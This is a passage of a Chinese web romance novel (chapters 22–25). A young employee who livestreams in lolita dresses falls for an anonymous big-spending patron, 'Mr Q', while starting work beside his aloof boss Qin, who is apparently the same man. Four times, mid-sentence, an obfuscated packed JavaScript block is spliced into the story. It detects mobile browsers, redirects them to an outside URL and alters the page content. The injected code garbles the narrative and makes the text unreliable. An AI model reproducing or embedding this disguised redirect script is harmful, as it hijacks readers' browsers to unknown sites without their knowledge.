想到这点,景眠的心里又乱成一团毛线。 - 翌日,来到公司后不久,景眠突然收到一封来自于集团内部的邮件。 邮件来自于总经办,是秦总的助理发给他的,问他有没有考虑好调岗。 景眠握着鼠标的手顿了顿,指尖下意识地收紧,这才第三天,秦总就来找他要答案了?这效率快得让他有些措手不及。 景眠没有第一时间回复,他缓缓靠向身后的椅背,总感觉有哪里不对劲。 他们集团人才济济,论学历、论才干,他都不算最起眼的那一个,秦总到底是看上他哪儿了,才要把他调到身边? 景眠想来想去,只想到一个优点,那就是他老实,领导最喜欢嘴巴严的, 思考了有十多分钟,景眠咬了咬后槽牙,最终还是下了决心。 【感谢总经办的认可,我同意调岗,后续事宜悉听安排。】 点击发送的那一刻,他感觉自己像是签下了一份未知的契约。 而到了下午,调任书直接下达了,要求景眠在这周剩余时间内做好部门交接工作,下周一直接去总经办报道。 消息一出,同事都震惊了。 “真的假的?景眠你要去总经办了?” “我的天,那可是离秦总最近的地方,以后可得多关照我们啊!” “藏得够深啊小景,平时看着闷不吭声的,没想到这么厉害!” 七嘴八舌的议论声涌过来,景眠脸上扯出一个僵硬的笑,不知该说什么。 不过看大家这羡慕的反应,去总经办明显是升职了,倒真是好事一桩。 - 周末两天,景眠是在加班中度过的,部门的交接工作太繁琐,一时片刻忙不完。 晚上的直播成为他暂时可以放松的渠道。 周六这天晚上,景眠特地换上Q先生送他的洛丽塔裙。 蓬蓬的裙摆缀满了细碎的蝴蝶结和蕾丝花边,粉得晃眼,软得像一团棉花糖。 整个人看起来毛茸茸的,透着股甜腻的软萌。 这样一副形象出现在直播间,瞬间就炸了锅,弹幕纷涌而至。 【卧槽!!小荔酱今天这身也太甜了吧!我心脏骤停了!】 【粉粉洛丽塔好少女!我的心已经融化成一滩水了!】 【救命!小荔酱你怎么有这么多好看的裙子?你是从童话里走出来的吧!】 【啊啊啊啊啊!!这是什么人间小天使!快让我rua一下脸蛋!!】 景眠对着麦克风打招呼:“晚上好呀,好久不见,大家最近过得怎么样?” 他刻意压低了声线,比平时更娇软几分,尾音带着点糯糯的调子,听得直播间里的粉丝一阵嗷嗷叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002572|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【小荔酱声音好甜!今天甜度超标了!】 【啊啊啊老婆你也知道好久没见了,快想死你了!!】 【这身裙子是新的吧?好好看,求链接!】 【这裙子真的好重工,应该价值不菲吧?】 【应该是小荔酱穿什么都好看,才显得特别贵吧!】 【链接+1!我也想拥有同款洛丽塔!】 景眠看着弹幕里的追问,眼底闪过一丝心虚,嘴上故作轻松笑着说:“这是朋友送的啦,没有链接哦。” 不过有识货的粉丝已经认出来,这是国外的限定款,调侃她发财了。 【卧槽!这不是那个日系牌子的限定款吗?!我记得限量五十条!】 【救命……小荔酱你这朋友也太壕了吧!这裙子起码六位数起步吧?】 【富婆朋友求带!居然有人舍得送这么贵的裙子!】 【恕我大胆直言,该不会是榜一大哥送的吧?】 一言激起千层浪。 弹幕全围绕榜一大哥讨论起来。 景眠选择穿这条裙子,原本只是想着要重视人家的心意,这条裙子与她平时直播时的穿搭相符合,他穿出来展示,Q先生看到应该也会很开心。 没想到会引起这么大的讨论。 现在的网友太聪明了,什么都瞒不住。 直播间的起哄声此起彼伏,景眠手忙脚乱地切换到互动问答环节,随手点开一个粉丝的提问,试图转移话题。 景眠指尖划过滚动的弹幕列表,随手点中一个高亮提问,声音软乎乎地念出来:“这位叫‘芋泥啵啵冰’的小可爱问,小荔酱近日有旅行计划吗?最想去哪里玩?” “最近比较想去海岛,看看碧海蓝天,如果可以的话,公费旅游最爽了!” 景眠歪了歪头,语气俏皮。 弹幕里瞬间刷过一片“公费旅游+1”的附和,还有人调侃着“小荔酱带薪摸鱼的梦想我懂”。 景眠笑着往下翻,指尖在屏幕上顿了顿,又点中一个飘在最上方的提问:“‘今天也要冲业绩’问,小荔酱最近最近一次心动的瞬间是什么时候呀?” 这个问题像根细针,轻轻戳了下景眠的心脏。 他的手指蜷了蜷,脑海中浮现出Q先生的那句“我很喜欢”,耳尖悄悄泛红。 还好大家看不到他的脸,景眠偷偷呼出一口气,正要回答,屏幕上忽然弹出一行:“Q先生送出‘星际玫瑰’×99!” 原本平稳的心跳在看到熟悉的ID后,突然乱了节拍。 景眠对着麦克风,下意识低声呢喃:“心动的瞬间?当然是看到大家刷礼物的时候了……” 这话逗得弹幕一片哄笑,满屏的“小荔酱果然是小财迷”之类的话刷个不停。 可景眠的心跳,却比刚才更快了些。 旁人眼中的玩笑话,也许是内心深处的潜台词呢? 最近一次心动瞬间,真的是他刚才出现刷礼物的时候。 心跳乱得无法自控,身体也跟着逐步升温。 盯着榜一的头像,景眠忽然间意识到一件可怕的事儿。 他好像真的对未曾谋面的Q先生心动了…… 23.第23章 直播的热度还在攀升,星际玫瑰的特效在屏幕上炸开一片璀璨的光,晃得景眠有些睁不开眼。 他捏着麦克风的指尖微微泛白,嘴上还在跟着弹幕的玩笑话插科打诨,心里却像揣了只扑腾的兔子,一下下撞着胸口。 “谢谢Q先生的礼物呀~”景眠刻意把语调放得轻松自然,尾音拖出一点上扬的弧度,“老板大气!” 【榜一大哥果然是小荔酱的忠实跟随者】 【只要小荔酱开播,Q先生就没缺席过,这是什么神仙守护!】 【脑海中已经自动脑补出一部言情小说了,救命好甜!!】 【小荔酱你快从了Q先生吧!每次开播都狂刷礼物,这排面谁顶得住啊!】 弹幕还在疯狂刷屏,夹杂着不少磕CP的言论,景眠看得耳根发烫。 就在这时,放在桌面的手机忽然震了下。 景眠拿起一看,Q先生给他发了微信消息:【裙子很适合你。】 短短六个字,却像带着滚烫的温度,烫得他猛地攥紧了手机,指节都微微泛白。 一种说不清道不明的心虚感悄然漫上来,连呼吸都跟着乱了半拍。 他们在万人瞩目的直播间里,背着那么多狂嗑CP的粉丝,说这种私密又暧昧的悄悄话,搞得他们好像真的有什么。 【哥哥送的裙子,穿起来当然好看啦~】 景眠发完消息,几乎是落荒而逃般把手机扣回桌面,清了清嗓子,强装镇定地将直播间拉回正题:“好啦好啦,我们来看看下一个互动问题哦。” 然而,他话音刚落,直播间的屏幕猛地一暗,紧接着,一阵比刚才更绚烂夺目的特效轰然炸开——鎏金的星子簌簌坠落,凝成一片璀璨的穹顶,一行烫金大字赫然悬浮在公屏中央:“Q先生送出‘星落穹顶’×99!” 这礼物是平台刚推出的典藏款,据说全平台库存都没多少,价格更是高得离谱。 特效一出,满屏的弹幕瞬间卡了半秒,紧接着,铺天盖地的尖叫和感叹号疯狂刷屏,几乎要把直播间的屏幕掀翻。 【星落穹顶!是那个传说中的典藏款吧!我活这么大第一次见有人送!】 【Q先生你是真的壕无人性啊!真想顺着网线去看看现实中的你是做什么的!】 【救命!明明知道大家都在嗑,还不管不顾地砸这么贵的礼物!这是生怕我们磕得不彻底吗!】 【Q先生:真男人从不怕流言,大家越嗑我越高兴hhh】 【这是什么神仙双向奔赴!我宣布这对我锁死了!钥匙我吞了!】 “谢谢我们榜一大哥的礼物,今天想听什么歌呢?” 景眠努力维持着脸上淡定的笑容,声音听起来平稳无波,只有他自己知道,暖黄的灯光落在他泛红的脸颊上,那如擂鼓般的心跳声,在安静的房间里,清晰得几乎要震碎耳膜。 他只是一个普通的凡人,有人对他如此慷慨地挥霍偏爱,怎么可能不心动。 【唱什么都可以】 专属于榜一大哥的粉丝铭牌从弹幕里飘过,带着醒目的金色前缀,和那句言简意赅的话一起,撞进景眠的眼里。 印象中,他好像从来没有发过弹幕,都是默默刷礼物。 景眠从歌单里挑了一首《折花人》,他没说歌名,只是抬手点开了伴奏。 很快天籁般的嗓音便传进直播间每个粉丝的耳朵里: “可爱人间招摇经过,我只想远远地瞧你一眼,只把手里的花,折了又一折……” 他的声音轻柔,带着一点克制的颤意,像在诉说一个不敢说出口的心事。 【啊啊啊啊!!!我听到了什么!!小荔酱是想远远地瞧谁一眼?】 【我没记错的话,这是首表达暗恋的歌吧?有情况哦~】 【呜呜呜太戳了,明明是欢快的直播,怎么突然就变成深夜电台的情感节目了?小荔酱你也有故事是吧!】 【不知道为什么,听到这首歌,突然很难过,那种喜欢一个人又不敢说出口的感觉,太真实了。】 直播的伴奏缓缓收尾,最后一个音符消散在空气里,景眠对着麦克风轻轻说了声“谢谢大家”,长舒一口气。 他没有去看弹幕发了什么,时间已经很晚了,到了该说再见的时候。 和粉丝道了句“晚安”,点下结束按钮,景眠有种如释重负的感觉。 点开手机,Q先生的消息刚好发来,问他怎么会想到唱这首歌。 景眠猜到他会问,也早已想出理由。 【最近比较爱听这首歌】 【哥哥觉得我唱得怎么样?还不错吧?】 不管当下的景眠是什么心情,在聊天中永远都是那副活泼明媚的样子。 【不太好】 没想到,对面回复来这样的三个字。 景眠的眉头皱起,挫败感跟着涌上心头。 怎么会那么直白地说他唱得不好? 还没来得及问,Q先生又发来一句:【你在唱给谁听?】 景眠一瞬间好像懂了。 原来Q先生听出来了,听出了他藏在婉转曲调里的小心思,听出了歌声里的不安和忐忑。 只是,他竟误以为这首歌是唱给旁人的,以为自己在借歌抒情,唱给某个藏在心底的暗恋对象。 窝趣!这个男人的警觉性也太高了吧! 可他既然这么敏锐,又怎么会想不到,这首歌的弦外之音,本就是献给他的? 还是说,他早就想到了,只是故意这么问,在试探自己? 指尖在输入框里打了又删,景眠最后索性破罐子破摔,发过去一句带着点撒娇意味的话:【那你说,我该唱给谁听?】 暧昧拉扯,谁不会啊? Q先生的回复跳了出来,简短又霸道:【唱给我听。】 后面还跟了个句号,像是在强调,又像是在笃定。 糟糕! 景眠心中暗叫一声,把脸埋进抱枕,对这种直球真的毫无抵抗力! - 昨晚聊天聊到很晚,翌日景眠睡到十点才醒。 明天要去总经办任职,景眠打算去商场买两套体面的西装,不然跟在人家秦总的身边多丢他的人。 起床后,景眠随手给好友周翊林发了消息,问他今天有没有空,约他出来逛街。 【我们两个大男人去逛街……】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006599|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【会不会太奇怪了?】 看到周翊林的回复,景眠对着手机屏幕撇下唇角:【不去算了,本来还打算请你吃大餐呢】 【我只说奇怪,又没说不去】 周翊林一如既往的厚脸皮。 下午两点,市中心的商场门口人来人往。 景眠刚站定没两分钟,就听见身后传来一声夸张的呼喊:“景少爷,久等久等!” 他回头,看见周翊林晃悠着走过来,手里还拎着杯冰美式,扬了扬下巴:“喏,给你带的。” 景眠接过,挑眉道:“算你有点良心。” 两人并肩往商场里走,周翊林瞥了眼他身上宽松的卫衣牛仔裤,啧啧两声感慨:“就你这打扮,还去买西装?人家店员都得怀疑你是来捣乱的。” 不过话说到这儿,他有些奇怪,“你怎么突然想往成熟方向打扮了?” “你懂什么?”景眠不屑置辩,语气有几分骄傲地说:“我升职了,往后就要跟在我们公司老总身边工作了。” 周翊林沉默几秒,满眼都是怀疑。 过会儿忍不住说:“看上你什么了?该不会想潜规则你吧?” 景眠无语地翻个白眼,“我们老总是男的。” “有可能是gay啊!”周翊林看着景眠这小身板,“你可是大猛攻眼里的天菜。” “闭嘴吧你。”景眠耳根微微发热,心虚地转了转眼珠子,赶紧岔开了这个话题。 换作平时,他铁定要据理力争,说自己就算是弯的,那也绝对是攻的那一方。 可此刻,心里却莫名地有些发虚。 两人上了三楼,直奔男装区,挑了家看着就很高档的店。 店员热情迎上来,笑容得体地问:“两位先生,想看什么款式的西装?” “给他挑。”周翊林把景眠往前一推,“上班穿的,要稳重,还得显气质。” 店员看到景眠那么帅的一张脸,眼睛一亮,立刻拿出几款浅色系的西装。 “先生可以试试这款米色的,面料挺括,版型修身,很适合职场通勤。” “我不想穿这么亮的颜色,还是给我拿深色的吧。”景眠摆手表示婉拒。 周翊林却说:“你都成为总裁的跟班了,肯定不能像之前那样打扮,去试试。” 景眠斜睨他一眼,“我总不能盖过我们老总的风头吧?” 周翊林愣了下,摇头失笑,“不是说你们老总很帅吗?你还能有这种自信?” “帅是帅,跟我比还是差点。” 景眠哼了声,自己挑了款黑色的西装,进了试衣间。 当他换完走出来的时候,连自己都被惊艳到。 纯黑色的西装挺阔有型,完美勾勒出利落挺拔的肩线,衬得他原本就白皙的肤色愈发透亮。那张带着几分少年气的脸庞,被这身正装一衬,瞬间添了不少沉稳干练的味道。 人长得帅就是遭人嫉妒。 周翊林摸着下巴,羡慕地在心中感叹。 这么低调的颜色穿到他身上,怎么都像明星爱豆似的。 那位老总就算不是gay,看到这么清朗俊逸的少年,也要被掰弯了。 24.第24章 请周翊林吃完大餐回家,已经很晚了。 晚风从敞开的窗户钻进来,带着几分凉意,景眠踢掉鞋子,把自己摔进沙发里,长长地舒了口气。 手里的购物袋滑落在地,露出西装笔挺的一角,他瞥了眼,嘴角忍不住弯了弯。 变成熟的感觉也挺好的。 白日里在商场试穿的模样又清晰地浮现在眼前,景眠对明日又多了几分期待。 跟在秦总身边的挑战肯定更多,说不头疼是假的,但他也想看看自己的能力还能提高多少。 拿起手机解锁,屏幕干干净净的,没有新消息提示。 Q先生今天没有找他聊天。 景眠想想每次都是人家主动,这次先给他发去了一声晚间问候。 【哥哥晚上好呀~我今天跟朋友去逛街了,才回家呢】 发送完,把手机扔到一边,景眠假装不在意地去收拾买回来的西装。 结果,刚把两套西装挂进衣柜,手机就嗡嗡地震动起来。 【我也刚回家】 景眠看着那五个字,情不自禁就笑了,眉眼弯成了月牙。 他抱着手机,把脸埋进柔软的抱枕里,嘴角的弧度怎么也压不下去。 【等下有个会要开,可能会很晚】 景眠还没回,对面又发来一句。 目光一滞,心跳随即加快。 这是……在跟他报备? 差一点要多想,景眠连忙拉回思绪,【哥哥好辛苦呀!注意休息哦,别太累了~】 【好,我知道】 Q先生的回复很简短,应该是要忙了,景眠便没再跟他多聊,起身去洗澡了。 可能是白天逛街走了太多路,困意来得很快,景眠把头发吹干后,只随手捞了件宽松的家居服套上,就一头栽倒在了柔软的床上,睡了过去。 等到第二天,他依旧是被闹钟给叫醒的。 努力撑开沉重的眼皮,景眠摸起手机看了眼时间,不敢再多眯一会儿。 今天是他去总经办报道的第一天,要给秦总留个好印象才行。 困倦地打个哈欠,景眠从床上爬起来,冲进洗手间,动作都比平时快了半拍。 冷水扑在脸上,驱散了最后一丝困意,镜子里的少年眼尾还带着点没睡醒的红,眼里却透着一股掩不住的雀跃。 洗漱完,景眠直奔衣柜,目光落在那两套西装上时,唇角不由得上扬。 黑色和深蓝色的这两套都很不错,他对着镜子比划了半天,最后还是选了黑色的,想着第一天报到,稳妥些总是没错的,这种颜色绝对不会出错。 来到公司,景眠按照入职报到流程,先去人事部提交了材料。 负责办理手续的小姐姐笑着夸他穿西装精神,他耳根微红,礼貌地道了谢,挂上刚领到的工牌,脚步轻快地往总经办的方向走。 电梯里只有他一个人,镜面墙壁映出他笔挺的身影,黑色西装衬得肩背愈发挺拔,褪去了往日的青涩,多了几分利落的职场气息。 抬手理了理领带,景眠明显感到自己的心脏微微发紧,心里既有期待,又藏着紧张。 秦总的助理见他过来,将他带到了一个面积很小的办公室里,说这就是他以后工作的岗位。 景眠很惊讶,没想到自己居然还能有独立的办公间,虽然不大,但窗明几净,正对着楼下的花园,阳光透过玻璃洒进来,落在崭新的办公桌上,暖洋洋的。 他放下公文包,慢慢绕着办公桌走了一圈,指尖拂过光滑的桌面,有种很不真实的感觉。 “秦总大概半小时后到公司,你先看下这周的工作任务,等下去跟秦总报到。”助理简单交代几句就离开了。 景眠点点头,等助理出去后,才敢松了口气。 他走到办公桌前,拉开椅子坐下,目光落在桌角那叠厚厚的文件上,封面上印着“总经办周工作计划”的字样。 随手翻了两页,里面的内容条理清晰,却也透着几分专业性,看得景眠眉头紧锁。 原来跟在秦总身边,要学的东西这么多。 早餐也没顾上吃,景眠认真看起来。 不知不觉,四十分钟过去了,他抬头看一眼时间,才惊觉秦总应该已经到了。 景眠连忙起身,对着玻璃整理一下西装,去到了秦总办公室。 来到门前,他抬手轻轻敲了敲,直到里面传来一道低沉的男声:“进。” 景眠推门进去,一眼就看到坐在办公桌后的秦总。 他穿着跟他同色系的西装,眉眼深邃,正低头看着文件,晨光穿过落地窗染在他的发顶,镀上一层淡淡的柔光。 莫名的,景眠一看到他就紧张,攥着衣角,半晌没说出来话。 听到脚步声,秦洛白没有立刻抬头,指尖捏着钢笔,在文件上落下最后一个遒劲的签名,才缓缓抬眼。 在他办公桌前站着的男生,黑西装白衬衫,与往日见到的形象大有不同,褪去了几分少年的青涩,连额前厚重的刘海也梳到一边,露出精致的眉眼,显然是精心打扮过。 但不变的是,鼻梁上依旧架着那副被顾衍嗤之以鼻过的眼镜。 眉头微蹙,秦洛白只是看着他,没有讲话。 对上来自霸总审视的目光,景眠吓得连忙开口:“秦、秦总好,我是今天来报到的景眠。” 秦洛白没应声,目光在他身上停留了两秒,又回到电脑上。 景眠看不懂他这是何意思。 空气里的安静被拉得老长,秒针走动的滴答声在空旷的办公室里格外清晰,敲得景眠心尖发颤。 他攥着衣角的手指又收紧了几分,指节微微泛白,连呼吸都刻意放轻,生怕自己弄出一点多余的声响惹得秦总不快。 秦洛白的目光落在电脑屏幕上,指尖在鼠标上轻轻点了两下,屏幕的光映在他深邃的眼眸里,看不真切情绪。 景眠的脑子飞速运转,把刚才的话在心里过了一遍,怀疑是不是自己的语气不够恭敬,或者是站姿不够端正。 就在他紧张得快要原地石化的时候,秦洛白终于开口,声音依旧是那种没什么起伏的低沉,“怎么同意调岗了?” 景眠没想到秦总会先问这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012759|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他定了定神,才斟酌着开口:“我……我想多学点东西,总经办的工作能接触到更核心的业务,对我来说是个很好的锻炼机会。” 秦洛白只是盯着他,那目光锐利得像是能看穿人心。 景眠被他看得有些发慌,垂在身侧的手指无意识中蜷缩起来。 “总经办节奏快,压力大。”秦洛白再度出声,带着一种不容置疑的威严,“没有摸鱼的余地,也没有重来的机会。” 景眠立刻点头,语气比刚才更坚定了几分:“我知道,我已经做好准备了。” “那就好。”秦洛白缓缓收回目光,“你可以回去工作了。” 景眠如释重负,打算立即开溜,没想到转身那一刻又被叫住。 他以为秦总还有事儿,没想到竟然一本正经地问:“这眼镜是救过你的命吗?” “………”这是嫌他眼镜太丑了? 景眠秒懂,赶紧表示,“我今天下班就去配一副新的眼镜。” 秦洛白不知想到什么,说:“今晚你要留下加班,跟我去一趟度假山庄谈合作。” 不是吧?刚任职就要加班? 刚才给他的一周工作计划里好像没有这项安排啊!秦总怎么私自给他增加差事? 莫不是周翊林言中了,秦总莫不是要潜规则他吧? 那度假山庄……好像是个泡温泉的地方…… OvO! 突然感觉有点儿怕怕。 景眠努力压制住,才没让痛苦表现在脸上,违心地答应了一句:“好的,秦总。” - 下了班,景眠来到地下车库里等秦总。 他选了个靠近电梯口的位置站着,目光在一排排锃亮的豪车之间扫过,心里还在暗自嘀咕,秦总到底会开哪辆车。 就在这时,一阵低沉的引擎声由远及近,一辆黑色的宾利缓缓驶过来,稳稳停在他面前不远处。 车灯熄灭的瞬间,副驾驶座的车窗降下,露出秦洛白线条冷硬的下颌线,他抬眼扫了景眠一眼,声音没什么温度:“上车。” 景眠被那道目光扫得一激灵,连忙攥紧手里的公文包快步上前,准备拉开车门坐进后座。 结果,秦洛白给了他一记警告的眼神,景眠这才意识到自己拿总裁当司机了。 按理说,该他这位下属来开车,但他的车技实在是不敢恭维。 景眠只能弱弱开口:“秦总,我不怎么会开车。” “坐前面。”秦洛白几乎是命令的语气。 景眠赶紧拉开副驾驶座的车门,坐了进去。 车厢里独属于秦总的气息比白天在办公室里更浓些,混着皮革的清冽,让他感到让他心慌。 他刚坐稳,秦洛白从前面递过来一份文件:“这是盛文集团的合作案概要,路上先看熟,别到时候一问三不知。” “好的秦总。”景眠连忙接过,把手机放到一旁。 瞥到这一幕,秦洛白拿起手机,故意发了条消息出去。 几乎是在同一时间,景眠的手机紧跟着响起“叮”的一声,屏幕也亮了起来。 25.第25章 秦洛白顺势瞥了一眼,见景眠立刻拿起了手机。 看来,也不需要验证那颗痣是否存在了。 而景眠,点亮手机屏幕后发现消息是Q先生发来的,本能想要查看,却在意识到秦洛白这位上司还坐在旁边,悻悻然又放下了。 加班也算上班时间,他还是不要自找麻烦了。 将景眠的反应尽收眼底,秦洛白轻扯唇角,踩下油门。 车子驶上绕城高速,窗外的风裹挟着郊外草木的清新气息,透过半开的车窗钻进来,吹散了些许车厢里沉闷的氛围。 景眠低头看着文件,困倦地打个哈欠。 就在这时,旁边传来戏谑的一声,“累了?” “没有没有。”景眠下意识否认,立刻坐得笔直。 没想到,秦总接着竟然说:“景眠,你好像很怕我。” 废话,你是我的上司,哪有耗子不怕猫的? 景眠心里嘀咕着,嘴上却不敢有半分怠慢,连忙摇头,“没、没有,秦总您误会了,我就是……就是面对您这么有威严的大人物,有点紧张。” 狗腿!太狗腿了!! 说完,景眠都忍不住要鄙夷自己。 “是吗?”秦洛白对他这话似乎挺受用,语气都柔和了几分,“其实我挺好相处的,你不用紧张。” 好、好相处?? 秦总,您对自己的认知真的准确吗? 景眠在心里疯狂吐槽,脸上却只能挤出一个乖巧的笑,配合点头,“是是是,秦总您非常平易近人。” 这话一出,连他自己都觉得牙酸。 秦洛白被他这口是心非的模样逗笑,低沉的笑声滚过喉咙,带着几分磁性,在车厢里漾开。 这小男生,还挺可爱的。 虽然骗他的事情的确挺过分,但透过最近这几次的相处,他慢慢发现,景眠和网上那个活泼狡黠的“小荔酱”,性格其实是一脉相承的。 嗯,都有着一张能把黑的说成白的的巧舌。 车子驶入度假山庄,古色古香的大门缓缓敞开,入目便是错落有致的白墙黛瓦,隐在葱郁的林木间,透着一股雅致的韵味。 景眠跟着秦洛白下车,刚站稳脚跟,就被迎面走来的服务生引着往会客区去。 脚下踩着青石板路,两旁的桂花树飘着甜丝丝的香气,景眠的视线滴溜溜打量着周围,心中不由感叹,这儿的环境可真漂亮啊! 有钱人确实是会享受的,这儿跟天堂有什么区别? 亦步亦趋跟在秦总身后,景眠忽然想到自己还没回Q先生消息,趁秦总在迈步向前,注意不到他,偷偷将手机解了锁。 指尖无意识地摩挲着手机壳,屏幕上是和Q先生的聊天界面,他之前还犹豫了半天,在想要不要告诉他,今晚要加班跟着上司去谈合作,以免他到时发消息找不到人。 没想到他竟主动发来了。 【哥哥,我今晚加班,可能要很晚才回去。】 发送键刚按下去,景眠像察觉到什么,猛地抬头,心脏骤然一缩—— 秦总不知何时停住了脚步,正站在几步开外,目光沉沉地落在他握着手机的手上,那眼神锐利得像是能穿透人心,活脱脱一场无声的死亡凝视。 “咕咚”咽了下口水,景眠胆战心惊地扯谎,“秦总,我……我就是看下时间。” 秦洛白没接他这话,眸光淡淡扫过他泛红的脸颊,不想戳破这拙劣的谎言,径自迈开长腿往前走,嗓音清冽地落下,“等下我要和王总单独聊会儿,那边是自助餐厅,你可以去吃些东西。” 景眠愣了愣,连忙快步跟上,询问道:“那……那合作案的资料,要不要我留在旁边随时准备补充?” 他可不敢真的跑去吃东西,万一秦总突然需要他,他不在岂不是要挨骂。 “不用。”秦洛白已经抬脚拐进了一条通往会客室的回廊,只留给他一个挺拔的背影。 景眠站在原地,看着那道背影消失在拐角,才后知后觉地摸了摸自己的肚子,确实饿得咕咕叫了。 他犹豫了几秒,还是朝着自助餐厅的方向走去。 山庄的自助餐厅布置得雅致极了,落地窗外就是波光粼粼的湖面,餐台上摆满了精致的点心和菜肴,香气扑鼻。 景眠端着一个餐盘,慢悠悠地走着,看着那些平日里在高档餐厅都少见的菜品,忍不住咂舌。 不知道以后跟着这位秦总干,能不能一直过上这样锦衣玉食的生活? 取了些食物,景眠坐下刚吃了会儿,手机震动了下。 是Q先生发来的:【加班也要记得吃饭,别饿着。】 【正在吃,哥哥~】 【我们上司人特别好,还安排我来吃自助餐呢】 景眠没忍住拍了一张照片分享给对方。 照片里,精致的瓷盘里盛着鲜嫩的牛排和点缀着草莓的甜点,窗外的湖光山色做了最好的背景板。 秦洛白站在落地窗前,望着窗外的景色,几不可察地扯了下唇角。 景眠,是你自己闯到我面前的。 - 填饱肚子后,景眠找到秦总谈合作的包厢外面侯着,以为秦总会有需要他的地方,可没想到,等了半个多小时,等来的却是秦总从里面走出来,淡淡说了句:“谈完了。” 景眠十分错愕,这也没用得着他的地方啊?干嘛还要叫他来? 疑问刚浮上心头,秦洛白已经迈步走到他面前,将一份薄薄的文件夹递过来,下巴微抬,吩咐道:“把盛文集团的合作意向书整理归档,电子版发一份到总经办的公共邮箱,纸质版明天一早送到我办公室。” 而他,要去泡温泉。 景眠更奇怪了,这种工作明明他在家也能做,秦总干嘛要让他陪在身边? 狐疑地盯着男人远去的背影,景眠心中愈发确定,秦总居心叵测。 去公文包里拿了电脑,景眠被安排到秦总温泉池外的休息间工作。 这休息间的窗外就是冒着袅袅热气的温泉池,磨砂玻璃将里面的景象遮得影影绰绰,却偏偏挡不住那股子暖融融的水汽,混着淡淡的植物香气,一丝丝飘进屋里来。 坦白说,景眠坐立难安。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018713|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他指尖落在冰凉的触控板上,却半天没有动作,脑子里乱糟糟的,全是刚才的疑问。 越琢磨,越觉得秦洛白的行为透着古怪。 温泉水汽氤氲的暖意,丝丝缕缕飘散在空气中,隐约还有水流轻响传进耳朵,像是羽毛似的,一下下撩拨着人心,搅得他心头更乱。 景眠抬眼望向那面磨砂玻璃隔断的方向,视线穿透朦胧的玻璃,隐约能看见一道颀长挺拔的身影浸在温热的池水中,肩颈线条利落流畅,褪去了西装革履的束缚,竟透着几分平日里在公司里看不到的松弛慵懒。 即便是隔着一层模糊的玻璃,也透着一股子力量感,看得景眠心头一跳。 他莫名联想到Q先生,在想他会不会也像这位秦总一样,长得那么帅,身材那么好。 景眠收回目光,越想越觉得秦洛白居心不良。 说不定是故意的,故意让他听着水声心猿意马,故意让他在这种暧昧的氛围里心神不宁 秦总的种种迹象都在表明,他欲图不轨。 暂时清除掉脑海中的复杂想法,景眠专心投入工作。 不一会儿,手机屏幕亮了,他偷偷拿起一看,是Q先生的消息! 奇怪,发来的是什么图片? 难道也学着他,分享了自己的晚餐? 点开图片的下一秒,景眠像是被烫到一般,猛地倒吸了口凉气,手里的手机差点没摔在桌上。 我靠! 哪里是什么晚餐照片! 屏幕上赫然是一张香艳到让人面红耳赤的腹肌特写! 水珠顺着肌理分明的腹肌缓缓滑落,勾勒出流畅又充满力量感的线条,每一寸起伏都恰到好处,带着刚被温水浸润过的濡湿光泽。 看那构图,应该是拿着手机从上往下拍的,腹肌以下的部位被潺潺流动的水遮挡着,朦朦胧胧的,看不真切,却偏偏更添了几分引人遐思的暧昧。 景眠怎么也没想到,点开后会看见如此香艳的画面,他的脸一下从耳根红到了脖颈,连带着脸颊都烫得惊人,心脏更是不受控制地狂跳起来,像是要撞破胸腔一般。 突然发这么有冲击力的照片,都不给人心理准备的。 屏幕上的腹肌特写还在灼着人的视线,景眠慌忙把手机倒扣在桌面上,却又忍不住偷偷翻回来瞥了一眼。 不过…… 一个念头猝不及防地窜进脑海,惊得他呼吸都顿了半拍—— Q先生难道也在泡温泉? 不、不会有这么巧吧? 照片只能看到男人水珠滚落的腹肌,背景之类的一概看不到。 任由景眠如何说服自己,也不会觉得他们是同一个人。 强迫自己冷静下来,任由心里的惊涛骇浪翻涌,景眠也不肯往那个方向再多想一分。 